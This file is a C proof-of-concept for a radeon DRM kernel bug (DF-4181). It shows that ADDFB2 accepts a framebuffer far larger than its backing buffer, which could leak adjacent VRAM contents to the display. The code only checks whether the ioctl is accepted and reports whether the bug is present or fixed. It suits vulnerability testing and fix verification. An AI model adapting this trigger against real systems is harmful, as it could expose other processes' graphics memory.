DF-4181 / rfb_oob.c
/* * DF-4181 PoC - radeon_user_framebuffer_create accepts a framebuffer whose * pitch * height far exceeds the backing GEM buffer object. * * Kernel path (no size validation anywhere): * DRM_IOCTL_MODE_ADDFB2 * -> drm_mode_addfb2 (drm_framebuffer.c:336) * -> drm_internal_framebuffer_create -> framebuffer_check * (drm_framebuffer.c:165): only checks format validity, * pitch >= width*cpp and height*pitch <= UINT_MAX - it NEVER * compares the required image size against the BO size * -> radeon_user_framebuffer_create (radeon_display.c:1311) * -> radeon_framebuffer_init (radeon_display.c:1294) * : no check either * * The PoC creates a tiny dumb buffer (64x64 = 16 KiB) and then asks for a * 1920x1080 XRGB8888 framebuffer on it (needs ~8.3 MB of scanout). * * Expected with bug: ADDFB2 returns 0 (fb_id valid). A modeset/flip that * scans out this fb makes the display engine read ~8 MB past the end of * the 16 KiB object in VRAM - adjacent VRAM contents (other buffers) * appear on the physical display: an information disclosure. * Expected with fix: ADDFB2 returns EINVAL (radeon_framebuffer_init * rejects min_size > radeon_bo_size()). * * Build: cc -O -o rfb_oob rfb_oob.c * Run: ./rfb_oob [/dev/dri/card0] * * Needs a radeon KMS device with modesetting rights (DRM master / logind). */ #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <errno.h> #include <string.h> #include <stdint.h> /* minimal mirrors of the DRM UAPI (sizes must match radeon_drm.h/drm.h) */ struct drm_mode_create_dumb { uint32_t height, width, bpp, flags; uint32_t handle, pitch; uint64_t size; }; struct drm_mode_fb_cmd2 { uint32_t fb_id, width, height, pixel_format, flags; uint32_t handles[4], pitches[4], offsets[4]; uint64_t modifier[4]; }; #define DRM_IOCTL_BASE 'd' #define DRM_IOCTL_VERSION _IOWR(DRM_IOCTL_BASE, 0x00, struct { uint64_t v[8]; }) #define DRM_IOCTL_SET_MASTER _IO(DRM_IOCTL_BASE, 0x1e) #define DRM_IOCTL_MODE_CREATE_DUMB _IOWR(DRM_IOCTL_BASE, 0xb2, struct drm_mode_create_dumb) #define DRM_IOCTL_MODE_ADDFB2 _IOWR(DRM_IOCTL_BASE, 0xb8, struct drm_mode_fb_cmd2) #define DRM_FORMAT_XRGB8888 (('X') | ('2' << 8) | ('4' << 16) | ('8' << 24)) int main(int argc, char **argv) { struct drm_mode_create_dumb dumb; struct drm_mode_fb_cmd2 fb; char *dev = argv[1] ? argv[1] : "/dev/dri/card0"; int fd; fd = open(dev, O_RDWR); if (fd < 0) { fprintf(stderr, "open %s: %s (no radeon KMS device => " "hardware-gated, cannot exercise here)\n", dev, strerror(errno)); exit(2); } (void)ioctl(fd, DRM_IOCTL_SET_MASTER); /* best effort */ /* tiny object: 64x64x32bpp = 16 KiB */ memset(&dumb, 0, sizeof(dumb)); dumb.width = 64; dumb.height = 64; dumb.bpp = 32; if (ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &dumb) < 0) { fprintf(stderr, "CREATE_DUMB: %s\n", strerror(errno)); exit(1); } printf("dumb BO: handle=%u size=%llu bytes\n", dumb.handle, (unsigned long long)dumb.size); /* oversized framebuffer: 1920x1080x32bpp, pitch 7680 -> 8,294,400 B */ memset(&fb, 0, sizeof(fb)); fb.width = 1920; fb.height = 1080; fb.pixel_format = DRM_FORMAT_XRGB8888; fb.handles[0] = dumb.handle; fb.pitches[0] = 1920 * 4; if (ioctl(fd, DRM_IOCTL_MODE_ADDFB2, &fb) < 0) { printf("ADDFB2: rejected (%s) - %s\n", strerror(errno), errno == EINVAL ? "FIXED (size check active)" : "rejected for another reason"); return (0); } printf("ADDFB2: ACCEPTED fb_id=%u for a %llu-byte BO " "(needs 8294400 bytes) - BUG PRESENT\n", fb.fb_id, (unsigned long long)dumb.size); return (0); } |